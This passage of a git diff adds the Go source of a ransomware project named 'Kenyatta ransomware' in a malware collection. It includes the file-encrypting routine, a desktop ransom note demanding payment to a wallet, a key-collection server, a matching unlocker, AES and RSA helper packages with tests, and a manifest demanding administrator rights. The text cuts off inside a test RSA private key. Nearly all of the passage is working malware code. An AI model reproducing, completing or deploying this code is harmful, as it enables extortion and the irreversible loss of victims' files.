because if has many files the victim can observe the+ // encrypted names appear and turn off the computer before the process is completed+ // The files will be renamed later, after all have been encrypted properly+ //+ // Create/Open the temporary output file+ tempFile, err := os.OpenFile(cmd.TempDir+file.Name(), os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600)+ if err != nil {+ cmd.Logger.Println(err)+ return+ }+ defer tempFile.Close()++ // Encrypt the file sending the content to temporary file+ err = file.Encrypt(keys["enckey"], tempFile)+ if err != nil {+ cmd.Logger.Println(err)+ continue+ }++ // We need close the tempfile before proceed+ tempFile.Close()++ // Here we can move the tempFile to the original file+ err = file.ReplaceBy(cmd.TempDir + file.Name())+ if err != nil {+ cmd.Logger.Println(err)+ continue+ }++ // Schedule the file to rename it later+ //+ // Protect the slice with a Mutex for prevent race condition+ FilesToRename.Lock()+ FilesToRename.Files = append(FilesToRename.Files, file)+ FilesToRename.Unlock()+ }+ }+ }()+ }++ // Wait for all goroutines to finish+ cmd.Indexer.Wait()++ // List of files encrypted+ var listFilesEncrypted []string++ // Rename the files after all have been encrypted+ cmd.Logger.Println("Renaming files...")+ for _, file := range FilesToRename.Files {+ // Replace the file name by the base64 equivalent+ newpath := strings.Replace(file.Path, file.Name(), base64.StdEncoding.EncodeToString([]byte(file.Name())), -1)++ cmd.Logger.Printf("Renaming %s to %s\n", file.Path, newpath)+ // Rename the original file to the base64 equivalent+ err := utils.RenameFile(file.Path, newpath+cmd.EncryptionExtension)+ if err != nil {+ cmd.Logger.Println(err)+ continue+ }++ // Append the current filepath on the encrypted list+ listFilesEncrypted = append(listFilesEncrypted, file.Path)+ }++ message := `+ <pre>+ YOUR FILES HAVE BEEN ENCRYPTED USING A+ STRONG AES-256 ALGORITHM.++ YOUR IDENTIFICATION IS+ %s++ SEND %s TO THE FOLLOWING WALLET+ %s++ AND AFTER PAY CONTACT %s+ SENDING YOUR IDENTIFICATION TO RECOVER+ THE KEY NECESSARY TO DECRYPT YOUR FILES+ </pre>+ `+ content := []byte(fmt.Sprintf(message, keys["id"], cmd.Price, cmd.Wallet, cmd.ContactEmail))++ // Write the READ_TO_DECRYPT on Desktop+ ioutil.WriteFile(cmd.UserDir+"Desktop\\READ_TO_DECRYPT.html", content, 0600)++ // Write a list with all files encrypted+ ioutil.WriteFile(cmd.UserDir+"Desktop\\FILES_ENCRYPTED.html", []byte(strings.Join(listFilesEncrypted, "<br>")), 0600)++ cmd.Logger.Println("Done! Don't forget to read the READ_TO_DECRYPT.html file on Desktop")+}diff --git a/Malwares/Advanced Malware/Kenyatta ransomware/cmd/server/server.go b/Malwares/Advanced Malware/Kenyatta ransomware/cmd/server/server.gonew file mode 100644index 0000000..c550883--- /dev/null+++ b/Malwares/Advanced Malware/Kenyatta ransomware/cmd/server/server.go@@ -0,0 +1,54 @@+package main++import (+ "flag"+ "fmt"+ "log"++ "io/ioutil"++ "github.com/labstack/echo/engine"+ "github.com/labstack/echo/engine/standard"+ "github.com/labstack/echo/middleware"+ "github.com/mauri870/ransomware/repository"+ "github.com/mauri870/ransomware/web"+)++var (+ // BoltDB database to store the keys+ // Will be create if not exists+ database = "database.db"++ // Private key used to decrypt the ransomware payload+ privateKey = "private.pem"+)++func main() {+ port := flag.Int("port", 8080, "The port to listen on")+ flag.Parse()++ privkey, err := ioutil.ReadFile(privateKey)+ if err != nil {+ log.Fatalln(err)+ }++ db := repository.Open(database)+ defer db.Close()++ e := web.NewEngine()+ e.PrivateKey = privkey+ e.Database = db++ e.GET("/", e.Index)++ e.Use(middleware.Logger())+ e.Use(middleware.Recover())++ api := e.Group("/api", middleware.CORS())+ api.POST("/keys/add", e.AddKeys, e.DecryptPayloadMiddleware)+ api.GET("/keys/:id", e.GetEncryptionKey)++ log.Fatal(e.Run(standard.WithConfig(engine.Config{+ Address: fmt.Sprintf(":%d", *port),+ })))+}diff --git a/Malwares/Advanced Malware/Kenyatta ransomware/cmd/unlocker/unlocker.go b/Malwares/Advanced Malware/Kenyatta ransomware/cmd/unlocker/unlocker.gonew file mode 100644index 0000000..02a17e6--- /dev/null+++ b/Malwares/Advanced Malware/Kenyatta ransomware/cmd/unlocker/unlocker.go@@ -0,0 +1,156 @@+// +build windows+// +build go1.8++package main++import (+ "encoding/base64"+ "fmt"+ "os"+ "path/filepath"+ "strings"++ "github.com/mauri870/ransomware/cmd"+ "github.com/mauri870/ransomware/cryptofs"+ "github.com/mauri870/ransomware/utils"+)++func init() {+ // Fun ASCII+ cmd.PrintBanner()++ // Execution locked for windows+ cmd.CheckOS()+}++func main() {+ // Ask for the encryption key+ var key string+ for {+ fmt.Println("Type your encryption key and press enter to proceed")+ fmt.Scanf("%s\n", &key)+ if len(key) != 32 {+ fmt.Println("Your encryption key must have 32 characters")+ continue+ }++ break+ }++ // Decrypt files+ decryptFiles(key)++ // Wait for enter to exit+ fmt.Println("Press enter to quit")+ var s string+ fmt.Scanf("%s", &s)+}++func decryptFiles(key string) {+ // The encription key is randomly and generated on runtime, so we cannot known+ // if an encryption key is correct+ fmt.Println("Note: \nIf you are trying a wrong key your files will be decrypted with broken content irretrievably, please don't try keys randomly\nYou have been warned")+ fmt.Println("Continue? Y/N")++ var input rune+ fmt.Scanf("%c\n", &input)++ if input != 'Y' {+ os.Exit(2)+ }++ cmd.Logger.Println("Walking dirs and searching for encrypted files...")++ // Add a goroutine to the WaitGroup+ cmd.Indexer.Add(1)++ // Indexing files in a concurrently thread+ go func() {+ // Decrease the wg count after finish this goroutine+ defer cmd.Indexer.Done()++ // Loop over the interesting directories+ for _, folder := range cmd.InterestingDirs {+ filepath.Walk(folder, func(path string, f os.FileInfo, err error) error {+ // we doesn't care about the err returned here+ cmd.Logger.Println("Walking " + path)++ if f.IsDir() && utils.SliceContainsSubstring(filepath.Base(path), cmd.SkippedDirs) {+ cmd.Logger.Printf("Skipping dir %s", path)+ return filepath.SkipDir+ }++ ext := filepath.Ext(path)+ // Matching Files encrypted+ if ext == cmd.EncryptionExtension {++ // Each file is processed by a free worker on the pool.+ // Send the file to the MatchedFiles channel then workers+ // can imediatelly proccess then+ cmd.Logger.Println("Matched:", path)+ cmd.Indexer.Files <- &cryptofs.File{FileInfo: f, Extension: ext[1:], Path: path}++ // For each file we need wait for the respective goroutine to finish+ cmd.Indexer.Add(1)+ }+ return nil+ })+ }++ // Close the MatchedFiles channel after all files have been indexed and send to then+ close(cmd.Indexer.Files)+ }()++ // Process files that are sended to the channel+ // Launch NumWorker workers for handle the files concurrently+ for i := 0; i < cmd.NumWorkers; i++ {+ go func() {+ for {+ select {+ case file, ok := <-cmd.Indexer.Files:+ // Check if has nothing to receive from the channel+ if !ok {+ return+ }+ defer cmd.Indexer.Done()++ cmd.Logger.Printf("Decrypting %s...\n", file.Path)++ encodedFileName := file.Name()[:len(file.Name())-len("."+file.Extension)]+ filepathWithoutExt := file.Path[:len(file.Path)-len(filepath.Ext(file.Path))]+ decodedFileName, err := base64.StdEncoding.DecodeString(encodedFileName)+ if err != nil {+ cmd.Logger.Println(err)+ continue+ }+ // Get the correct output file name+ newpath := strings.Replace(filepathWithoutExt, encodedFileName, string(decodedFileName), -1)+ // Create/Open the output file+ outFile, err := os.OpenFile(newpath, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600)+ if err != nil {+ cmd.Logger.Println(err)+ continue+ }+ defer outFile.Close()++ // Decrypt a single file received from the channel+ err = file.Decrypt(key, outFile)+ if err != nil {+ cmd.Logger.Println(err)+ continue+ }++ // Remove the encrypted file+ err = os.Remove(file.Path)+ if err != nil {+ cmd.Logger.Println(err)+ continue+ }+ }+ }+ }()+ }++ // Wait for all goroutines to finish+ cmd.Indexer.Wait()+}diff --git a/Malwares/Advanced Malware/Kenyatta ransomware/cryptofs/file.go b/Malwares/Advanced Malware/Kenyatta ransomware/cryptofs/file.gonew file mode 100644index 0000000..dfc1add--- /dev/null+++ b/Malwares/Advanced Malware/Kenyatta ransomware/cryptofs/file.go@@ -0,0 +1,113 @@+// Package cryptofs provides a basic abstraction for file encryption/decryption+package cryptofs++import (+ "crypto/aes"+ "crypto/cipher"+ "crypto/rand"+ "io"+ "os"+)++// Type File wrap an os.FileInfo+type File struct {+ os.FileInfo+ Extension string // The file extension without dot+ Path string // The absolute path of the file+}++// Encrypt the file content with AES-CTR with the given key+// sending then to dst+func (file *File) Encrypt(enckey string, dst io.Writer) error {+ // Open the file read only+ inFile, err := os.Open(file.Path)+ if err != nil {+ return err+ }+ defer inFile.Close()++ // Create a 128 bits cipher.Block for AES-256+ block, err := aes.NewCipher([]byte(enckey))+ if err != nil {+ return err+ }++ // The IV needs to be unique, but not secure+ iv := make([]byte, aes.BlockSize)+ if _, err = io.ReadFull(rand.Reader, iv); err != nil {+ return err+ }++ // Get a stream for encrypt/decrypt in counter mode (best performance I guess)+ stream := cipher.NewCTR(block, iv)++ // Write the Initialization Vector (iv) as the first block+ // of the dst writer+ dst.Write(iv)++ // Open a stream to encrypt and write to dst+ writer := &cipher.StreamWriter{S: stream, W: dst}++ // Copy the input file to the dst writer, encrypting as we go.+ if _, err = io.Copy(writer, inFile); err != nil {+ return err+ }++ return nil+}++// Decrypt the file content with AES-CTR with the given key+// sending then to dst+func (file *File) Decrypt(key string, dst io.Writer) error {+ // Open the encrypted file+ inFile, err := os.Open(file.Path)+ if err != nil {+ return err+ }+ defer inFile.Close()++ // Create a 128 bits cipher.Block for AES-256+ block, err := aes.NewCipher([]byte(key))+ if err != nil {+ return err+ }++ // Retrieve the iv from the encrypted file+ iv := make([]byte, aes.BlockSize)+ inFile.Read(iv)++ // Get a stream for encrypt/decrypt in counter mode (best performance I guess)+ stream := cipher.NewCTR(block, iv)++ // Open a stream to decrypt and write to dst+ reader := &cipher.StreamReader{S: stream, R: inFile}++ // Copy the input file to the dst, decrypting as we go.+ if _, err = io.Copy(dst, reader); err != nil {+ return err+ }++ return nil+}++func (f *File) ReplaceBy(filename string) error {+ // Open the file+ file, err := os.OpenFile(f.Path, os.O_WRONLY|os.O_TRUNC, 0600)+ if err != nil {+ return err+ }+ defer file.Close()++ src, err := os.Open(filename)+ if err != nil {+ return err+ }+ defer src.Close()++ // Copy the reader to file+ if _, err = io.Copy(file, src); err != nil {+ return err+ }++ return nil+}diff --git a/Malwares/Advanced Malware/Kenyatta ransomware/cryptofs/file_test.go b/Malwares/Advanced Malware/Kenyatta ransomware/cryptofs/file_test.gonew file mode 100644index 0000000..46e59b9--- /dev/null+++ b/Malwares/Advanced Malware/Kenyatta ransomware/cryptofs/file_test.go@@ -0,0 +1,103 @@+package cryptofs++import (+ "bytes"+ "io/ioutil"+ "os"+ "testing"+)++func TestEncryptDecrypt(t *testing.T) {+ key := "us55VKQ3GT7K1YxHwFyO1KS7ULC14ILo"++ pwd, err := os.Getwd()+ handleErr(err, t)++ err = ioutil.WriteFile("original.txt", []byte("Hello World"), 0600)+ handleErr(err, t)++ f, err := os.Open("original.txt")+ handleErr(err, t)+ defer func() {+ f.Close()+ os.Remove("original.txt")+ }()++ fstat, err := f.Stat()+ handleErr(err, t)++ fileInfo := &File{fstat, "txt", pwd + `/original.txt`}++ var buf []byte+ buffer := bytes.NewBuffer(buf)+ err = fileInfo.Encrypt(key, buffer)+ handleErr(err, t)++ content, err := ioutil.ReadAll(buffer)+ handleErr(err, t)++ err = ioutil.WriteFile("enc.txt", content, 0600)+ handleErr(err, t)++ f2, err := os.Open("enc.txt")+ handleErr(err, t)+ defer func() {+ f2.Close()+ os.Remove("enc.txt")+ }()++ fstat, err = f2.Stat()+ handleErr(err, t)++ fileInfo = &File{fstat, "txt", pwd + `/enc.txt`}++ buffer.Reset()+ err = fileInfo.Decrypt(key, buffer)++ content, err = ioutil.ReadAll(buffer)+ handleErr(err, t)++ if string(content) != "Hello World" {+ t.Errorf("Expect 'Hello World' but got %s", string(content))+ }++}++func TestReplaceBy(t *testing.T) {+ pwd, err := os.Getwd()+ handleErr(err, t)++ err = ioutil.WriteFile("original.txt", []byte("Hello World"), 0600)+ handleErr(err, t)++ f, err := os.Open("original.txt")+ handleErr(err, t)+ defer os.Remove("original.txt")++ fstat, err := f.Stat()+ handleErr(err, t)+ f.Close()++ fileInfo := &File{fstat, "txt", pwd + `/original.txt`}++ err = ioutil.WriteFile("stub.txt", []byte("Hi"), 0600)+ handleErr(err, t)+ defer os.Remove("stub.txt")++ err = fileInfo.ReplaceBy("stub.txt")+ handleErr(err, t)++ content, err := ioutil.ReadFile("original.txt")+ handleErr(err, t)++ if string(content) != "Hi" {+ t.Errorf("Expect 'Hi' but got %s", string(content))+ }++}++func handleErr(err error, t *testing.T) {+ if err != nil {+ t.Fatalf("An error ocurred: %s", err)+ }+}diff --git a/Malwares/Advanced Malware/Kenyatta ransomware/go.mod b/Malwares/Advanced Malware/Kenyatta ransomware/go.modnew file mode 100644index 0000000..a24e590--- /dev/null+++ b/Malwares/Advanced Malware/Kenyatta ransomware/go.mod@@ -0,0 +1,21 @@+module github.com/mauri870/ransomware++require (+ github.com/boltdb/bolt v1.3.1+ github.com/fatih/color v1.6.0+ github.com/labstack/echo v2.2.0+incompatible+ golang.org/x/net v0.0.0-20160126033523-f315505cf334+)++require (+ github.com/davecgh/go-spew v1.1.1 // indirect+ github.com/dgrijalva/jwt-go v0.0.0-20170608005149-a539ee1a749a // indirect+ github.com/labstack/gommon v0.0.0-20170925052817-57409ada9da0 // indirect+ github.com/mattn/go-colorable v0.0.0-20170304164543-acb9493f2794 // indirect+ github.com/mattn/go-isatty v0.0.0-20170304152514-9622e0cc9d8f // indirect+ github.com/pmezard/go-difflib v1.0.0 // indirect+ github.com/stretchr/testify v1.2.1 // indirect+ github.com/valyala/bytebufferpool v1.0.0 // indirect+ github.com/valyala/fasttemplate v0.0.0-20170224212429-dcecefd839c4 // indirect+ golang.org/x/sys v0.1.0 // indirect+)diff --git a/Malwares/Advanced Malware/Kenyatta ransomware/go.sum b/Malwares/Advanced Malware/Kenyatta ransomware/go.sumnew file mode 100644index 0000000..28bd1aa--- /dev/null+++ b/Malwares/Advanced Malware/Kenyatta ransomware/go.sum@@ -0,0 +1,28 @@+github.com/boltdb/bolt v1.3.1 h1:JQmyP4ZBrce+ZQu0dY660FMfatumYDLun9hBCUVIkF4=+github.com/boltdb/bolt v1.3.1/go.mod h1:clJnj/oiGkjum5o1McbSZDSLxVThjynRyGBgiAx27Ps=+github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=+github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=+github.com/dgrijalva/jwt-go v0.0.0-20170608005149-a539ee1a749a h1:nmYyGtn9AO7FCeZ2tHr1ZWjJAHi6SfGB3o80F8o7EbA=+github.com/dgrijalva/jwt-go v0.0.0-20170608005149-a539ee1a749a/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ=+github.com/fatih/color v1.6.0 h1:66qjqZk8kalYAvDRtM1AdAJQI0tj4Wrue3Eq3B3pmFU=+github.com/fatih/color v1.6.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=+github.com/labstack/echo v2.2.0+incompatible h1:WHGirux72mcAqh0rDGCNqhMkIF2VxCJjFsrOuqi+5hk=+github.com/labstack/echo v2.2.0+incompatible/go.mod h1:0INS7j/VjnFxD4E2wkz67b8cVwCLbBmJyDaka6Cmk1s=+github.com/labstack/gommon v0.0.0-20170925052817-57409ada9da0 h1:kcJPx2Ug9owxOsVfuXPCludLaIudyI57YQd6ocyrO4o=+github.com/labstack/gommon v0.0.0-20170925052817-57409ada9da0/go.mod h1:/tj9csK2iPSBvn+3NLM9e52usepMtrd5ilFYA+wQNJ4=+github.com/mattn/go-colorable v0.0.0-20170304164543-acb9493f2794 h1:PdrBh4+bQSgCiqbAg0rc2YJ65Ic+mWqz4h8Zg3syPAY=+github.com/mattn/go-colorable v0.0.0-20170304164543-acb9493f2794/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU=+github.com/mattn/go-isatty v0.0.0-20170304152514-9622e0cc9d8f h1:MoHSXsGXrTcYMT094CTK601uy5RVe/DydjFIA3y5eyY=+github.com/mattn/go-isatty v0.0.0-20170304152514-9622e0cc9d8f/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4=+github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=+github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=+github.com/stretchr/testify v1.2.1 h1:52QO5WkIUcHGIR7EnGagH88x1bUzqGXTC5/1bDTUQ7U=+github.com/stretchr/testify v1.2.1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=+github.com/valyala/bytebufferpool v1.0.0 h1:GqA5TC/0021Y/b9FG4Oi9Mr3q7XYx6KllzawFIhcdPw=+github.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc=+github.com/valyala/fasttemplate v0.0.0-20170224212429-dcecefd839c4 h1:gKMu1Bf6QINDnvyZuTaACm9ofY+PRh+5vFz4oxBZeF8=+github.com/valyala/fasttemplate v0.0.0-20170224212429-dcecefd839c4/go.mod h1:50wTf68f99/Zt14pr046Tgt3Lp2vLyFZKzbFXTOabXw=+golang.org/x/net v0.0.0-20160126033523-f315505cf334 h1:TUmEkOSSnKLH69ouTtjMxfkRrhs65JmJ61O6KjDVgPg=+golang.org/x/net v0.0.0-20160126033523-f315505cf334/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=+golang.org/x/sys v0.1.0 h1:kunALQeHf1/185U1i0GOB/fy1IPRDDpuoOOqRReG57U=+golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=diff --git a/Malwares/Advanced Malware/Kenyatta ransomware/icon.ico b/Malwares/Advanced Malware/Kenyatta ransomware/icon.iconew file mode 100644index 0000000..a19bf0bBinary files /dev/null and b/Malwares/Advanced Malware/Kenyatta ransomware/icon.ico differdiff --git a/Malwares/Advanced Malware/Kenyatta ransomware/ransomware.manifest b/Malwares/Advanced Malware/Kenyatta ransomware/ransomware.manifestnew file mode 100644index 0000000..3eac98a--- /dev/null+++ b/Malwares/Advanced Malware/Kenyatta ransomware/ransomware.manifest@@ -0,0 +1,17 @@+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>+<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">+<assemblyIdentity+ version="9.0.0.0"+ processorArchitecture="x86"+ name="ransomware.exe"+ type="win32"+/>+<description>Nothing to see here</description>+<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">+ <security>+ <requestedPrivileges>+ <requestedExecutionLevel level="requireAdministrator" uiAccess="false"/>+ </requestedPrivileges>+ </security>+</trustInfo>+</assembly>\ No newline at end of filediff --git a/Malwares/Advanced Malware/Kenyatta ransomware/repository/repository.go b/Malwares/Advanced Malware/Kenyatta ransomware/repository/repository.gonew file mode 100644index 0000000..5db55bc--- /dev/null+++ b/Malwares/Advanced Malware/Kenyatta ransomware/repository/repository.go@@ -0,0 +1,93 @@+package repository++import (+ "errors"+ "log"++ "github.com/boltdb/bolt"+)++var (+ ErrorBucketNotExists = errors.New("Bucket Not Exists")+)++type BoltDB struct {+ *bolt.DB+}++// Open or create a BoltDB database+func Open(name string) *BoltDB {+ db, err := bolt.Open(name, 0600, nil)+ if err != nil {+ log.Fatalln(err)+ }+ return &BoltDB{db}+}++// Find by key+func (db BoltDB) Find(key, bucket string) (string, error) {+ var value string+ err := db.View(func(tx *bolt.Tx) error {+ b := tx.Bucket([]byte(bucket))+ if b == nil {+ return ErrorBucketNotExists+ }++ val := b.Get([]byte(key))+ value = string(val)+ return nil+ })+ return value, err+}++// Delete a key from the bucket+func (db BoltDB) Delete(key, bucket string) error {+ err := db.Update(func(tx *bolt.Tx) error {+ b := tx.Bucket([]byte(bucket))+ if b == nil {+ return ErrorBucketNotExists+ }+ return b.Delete([]byte(key))+ })+ return err+}++// Delete a bucket+func (db BoltDB) DeleteBucket(bucket string) error {+ err := db.Update(func(tx *bolt.Tx) error {+ return tx.DeleteBucket([]byte(bucket))+ })+ return err+}++// Create or update a value+func (db *BoltDB) CreateOrUpdate(key, value, bucket string) error {+ return db.Update(func(tx *bolt.Tx) error {+ b, err := tx.CreateBucketIfNotExists([]byte(bucket))+ if err != nil {+ return err+ }++ err = b.Put([]byte(key), []byte(value))+ return err+ })+}++// Check if a key is available+func (db BoltDB) IsAvailable(key, bucket string) (bool, error) {+ available := false+ err := db.View(func(tx *bolt.Tx) error {+ b := tx.Bucket([]byte(bucket))+ if b == nil {+ return ErrorBucketNotExists+ }++ v := b.Get([]byte(key))+ if v == nil {+ available = true+ }+ return nil+ })++ return available, err+}diff --git a/Malwares/Advanced Malware/Kenyatta ransomware/repository/repository_test.go b/Malwares/Advanced Malware/Kenyatta ransomware/repository/repository_test.gonew file mode 100644index 0000000..d3ff748--- /dev/null+++ b/Malwares/Advanced Malware/Kenyatta ransomware/repository/repository_test.go@@ -0,0 +1,133 @@+package repository++import (+ "fmt"+ "os"+ "testing"+)++func TestRepositoryOpen(t *testing.T) {+ db := Open("test.db")+ defer db.Close()+ defer os.Remove("test.db")++ if fmt.Sprintf("%T", db) != "*repository.BoltDB" {+ t.Errorf("Expect *repository.BoltDB but got %T\n", db)+ }+}++func TestRepositoryCreateOrUpdate(t *testing.T) {+ db := Open("test.db")+ defer db.Close()+ defer os.Remove("test.db")++ err := db.CreateOrUpdate("test", "Hello World", "testBucket")+ handleErr(err, t)+}++func TestRepositoryFind(t *testing.T) {+ db := Open("test.db")+ defer db.Close()+ defer os.Remove("test.db")++ err := db.CreateOrUpdate("test", "Hello World", "testBucket")+ handleErr(err, t)++ value, err := db.Find("test", "testBucket")+ handleErr(err, t)++ if value != "Hello World" {+ t.Errorf("Expect Hello World but got %s\n", value)+ }+}++func TestRepositoryFindOnNotExistentBucket(t *testing.T) {+ db := Open("test.db")+ defer db.Close()+ defer os.Remove("test.db")++ err := db.CreateOrUpdate("test", "Hello World", "testBucket")+ handleErr(err, t)++ _, err = db.Find("test", "notExistentBucket")++ if err != ErrorBucketNotExists {+ t.Fatalf("Expect ErrorNotExists to be thrown, got %v", err)+ }+}++func TestRepositoryIsAvailable(t *testing.T) {+ db := Open("test.db")+ defer db.Close()+ defer os.Remove("test.db")++ err := db.CreateOrUpdate("test", "Hello World", "testBucket")+ handleErr(err, t)++ available, err := db.IsAvailable("test", "testBucket")+ handleErr(err, t)+ if available != false {+ t.Fatalf("Expect test to be unavailable, got available")+ }++ available, err = db.IsAvailable("test1", "testBucket")+ handleErr(err, t)+ if available != true {+ t.Fatalf("Expect test1 to be available, got unavailable")+ }+}++func TestRepositoryIsAvailableOnNotExistentBucket(t *testing.T) {+ db := Open("test.db")+ defer db.Close()+ defer os.Remove("test.db")++ err := db.CreateOrUpdate("test", "Hello World", "testBucket")+ handleErr(err, t)++ _, err = db.IsAvailable("test", "notExistentBucket")+ if err != ErrorBucketNotExists {+ t.Fatalf("Expect ErrorNotExists to be thrown, got %v", err)+ }+}++func TestRepositoryDelete(t *testing.T) {+ db := Open("test.db")+ defer db.Close()+ defer os.Remove("test.db")++ err := db.CreateOrUpdate("test", "Hello World", "testBucket")+ handleErr(err, t)++ err = db.Delete("test", "testBucket")+ handleErr(err, t)++ available, err := db.IsAvailable("test", "testBucket")+ handleErr(err, t)+ if available != true {+ t.Fatalf("Expect the key test is available on testBucket, got unavailable")+ }+}++func TestRepositoryDeleteBucket(t *testing.T) {+ db := Open("test.db")+ defer db.Close()+ defer os.Remove("test.db")++ err := db.CreateOrUpdate("test", "Hello World", "testBucket")+ handleErr(err, t)++ err = db.DeleteBucket("testBucket")+ handleErr(err, t)++ _, err = db.IsAvailable("test", "testBucket")+ if err != ErrorBucketNotExists {+ t.Fatalf("Expect ErrorNotExists to be thrown, got %v", err)+ }+}++func handleErr(err error, t *testing.T) {+ if err != nil {+ t.Fatalf("An error ocurred: %s", err)+ }+}diff --git a/Malwares/Advanced Malware/Kenyatta ransomware/rsa/rsa.go b/Malwares/Advanced Malware/Kenyatta ransomware/rsa/rsa.gonew file mode 100644index 0000000..89872ab--- /dev/null+++ b/Malwares/Advanced Malware/Kenyatta ransomware/rsa/rsa.go@@ -0,0 +1,59 @@+package rsa++import (+ "crypto/rand"+ "crypto/rsa"+ "crypto/sha256"+ "crypto/x509"+ "encoding/pem"+ "fmt"+)++// Encrypt content with a public key+func Encrypt(publicKey []byte, text []byte) ([]byte, error) {+ block, _ := pem.Decode(publicKey)+ pubkeyInterface, err := x509.ParsePKIXPublicKey(block.Bytes)+ pubkey, _ := pubkeyInterface.(*rsa.PublicKey)+ var out []byte++ out, err = rsa.EncryptOAEP(sha256.New(), rand.Reader, pubkey, text, []byte(""))+ if err != nil {+ return []byte{}, err+ }++ return out, nil+}++// Decrypt content using a Private Key+func Decrypt(privateKey []byte, ciphertext []byte) ([]byte, error) {+ // Extract the PEM-encoded data block+ block, _ := pem.Decode(privateKey)+ if block == nil {+ return []byte{}, fmt.Errorf("bad key data: %s", "not PEM-encoded")+ }+ if block.Headers["Proc-Type"] == "4,ENCRYPTED" {+ return []byte{}, fmt.Errorf(+ "Failed to read private key: password protected keys are\n" ++ "not supported. Please decrypt the key prior to use.")+ }++ if got, want := block.Type, "RSA PRIVATE KEY"; got != want {+ return []byte{}, fmt.Errorf("Unknown key type %q, want %q", got, want)+ }++ // Decode the RSA private key+ priv, err := x509.ParsePKCS1PrivateKey(block.Bytes)+ if err != nil {+ return []byte{}, fmt.Errorf("Bad private key: %s", err)+ }++ var out []byte++ // Decrypt the data+ out, err = rsa.DecryptOAEP(sha256.New(), rand.Reader, priv, ciphertext, []byte(""))+ if err != nil {+ return []byte{}, err+ }++ return out, nil+}diff --git a/Malwares/Advanced Malware/Kenyatta ransomware/rsa/rsa_test.go b/Malwares/Advanced Malware/Kenyatta ransomware/rsa/rsa_test.gonew file mode 100644index 0000000..9231983--- /dev/null+++ b/Malwares/Advanced Malware/Kenyatta ransomware/rsa/rsa_test.go@@ -0,0 +1,73 @@+package rsa++import (+ "strconv"+ "testing"+)++var (+ PRIV_KEY = []byte(`+-----BEGIN RSA PRIVATE KEY-----+MIIEpQIBAAKCAQEAxa7DJ2kw+JOICpeJ7lDMksQ1ZIVxb4npjskM6TyP5pAgN5Cd+x7WcCVa0bHoVgnRI7WTZmVBLA9QssqAJHav6kroo/0X7dibhghG1mUujgPxq//j4+pPvq0qIMBeQbOB3sryLB/1ScgQzByJBuEBgmFHWfLq7LJUyKmZd1uzKAEtJsrY3f+7WhcWfiqMemMeJl7zvMvx79bqNe9wEs5AGb5ZCM2fQxjCLBmMzK4gu1lZXh8wFl3+3fcDKFRGJ7gVvJSagvIe/KHA4Vydwl/Ofo23nD8qEkppqLCuNUmpRRErI136Ku0m+D8DSQncAKd2AAblPU0qrK2mVk48WVPqEQgHLmwIDAQABAoIBAESTptGyNTHWhDgg+b9IDp6Q2ess/W6W08xf8eQUkZEs4rmR4P7P7NYEr2fVTuMiDrJTmCnKcHxnZ7hOd+XuwzL/7co8JCtcQ8IrjridL/IV5qsnfQF/msBr9BReh5RFQIVYZACYqZAJ3oHgWE+zRm6NuOcFjesnX53+hDkMQxarYFZb4k7Ghxgi35a3GUe1DNcJxUYjRviW73gVg15+wT/6kfNWOStn8NVTw1MU4gklsH6JOl2IEmwcCOw+wfOXnwvN0QHewXnZYvfOKtK9+wgTC4RPIjA/6M662yqGFiY8xhEBwf5dPF+9/+N42vJTSLkta5DL+hGFGA6q4Zeih+xyMTCMkCgYEA9HbIoZ41dc+aiunEb7sCQXU2iFiubJlDn3q5L4AufezhHH2md3Co+mN1JUqcMXj84H1/LmFM+VtyEzu5qwrsZEWhyqf6mKEbDHjjXyPbjFT8sCsvlQdCk+02aE52x9ZDfEvyFfrxAEGSW7LLEFx65RaOYdtOzIJ8uKf4rnYbUt0SUCgYEAzwLX+t61nwdsiBKm5HMLPvN1ISgO6mzcIibfrb0jYWuFFUPZ00JbGHTpvPwiS4Advennl+Wp/xEEiGqp9hXDNYGhfPMphoBblcYdV8ZH4NL2DlaFj7kqXJbVUwzDJ3Ype5bzJU+SG51oixVXz/hT/jFSSVLPHzq22nQiZSxnPvObb8CgYEApZrCFxoBxSk529i4haf9+wzIQGxVYM6Evuh18zbzbwdpyNMa5ujfLPqLJRQB81GunLTnLxgi+NkF0hmnkUL5G+IRDMfHRRQv+MtjBznWQCOSZuQ3IUgB1DSyIr7koEN5u/4GpPU1xaKl7xCTlyXO6t+n44jmai9fpfX3sbOL9Z4jzECgYEAnBYxny4hyNq4yLlMeXIufuJ+qkgrgPM6/dRu+sedEMyoeQNDD/a9hzBIOZYHKdR9GIBwfInjso/F7kNVB7OpN6MbBFQ4ziPVdwerd+s0wUFwBBma9WaRmWSljsxVrcB7wNNtnFESQwkEpLSNl6wvj5kJCNLRunXi9n7QTv+80UuPjMCgYEA8Z7U/aLEjfsK60RfpCpFJJfSUreK15fE+jJoZ2qWaEezqT3USneA+KUFCqqGfWUlOyYYTeNj+ufyEqqT7e1UD7qD8I+/6igoWRWnnK6R6PaMDMOrBoNRr+msVqvZigM4ZkphoeEsj+pI9cK1CEWW6EWZz2vgKYzEqREaI05UnU6Dg=+-----END RSA 